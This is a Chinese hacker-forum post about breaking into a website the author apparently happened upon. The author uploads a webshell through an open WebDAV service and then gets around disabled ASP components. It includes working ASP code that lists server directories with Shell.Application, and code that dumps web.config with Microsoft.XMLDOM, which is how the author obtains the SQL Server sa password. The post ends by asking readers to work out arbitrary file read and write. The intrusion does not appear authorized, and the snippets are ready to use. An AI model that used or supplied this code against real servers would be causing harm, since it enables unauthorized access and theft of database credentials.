路遇一站,webdav打开着,可以put,可以move,于是很容易拿到了webshell,但是发现菜刀连不上。仔细一看ADODB.Stream组件无法CreateObject,Scripting.FileSystemObject也一样无法CreateObject。
服务器支持aspx,可是无法上传文件,也无法查看目录。
测试了下,发现SHELL.APPLICATION还在,SHELL.APPLICATION是对目录的操作,以及可以执行命令。
于是先遍历目录:
szcmd = Server.MapPath("/")
if (szcmd <> "") then
set shell=server.createobject("shell.application")
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
然后,发现网站为aspx搭建,貌似是基于sqlserver。
再测试了下,发现MICROSOFT.XMLDOM组件还在,于是可以读文件,不过仅限对xml文件,即web.config啦:
set xmldoc=server.createobject("microsoft.xmldom")
xmldoc.load(server.mappath("web.config"))
getnodes(xmldoc)
sub getnodes(node)
dim i
response.write("<br><b>NodeName:</b>"&node.nodename&"<br><b>NodeTypeString:</b>"&node.nodetypestring&"<br><b>NodeValue:</b>"&node.nodevalue&"<br><b>Text:</b>"&node.text&"<br><b>node.childnodes.length:</b>"&node.childnodes.length&"<p>")
if node.childnodes.length<>0 then
for i=0 to node.childnodes.length-1
getnodes(node.childnodes(i))
next
end if
end sub
于是成功读到sa密码……于是,于是没有于是了。
希望大家研究下,当前条件下如何读任意文件,如何写任意文件,一起讨论。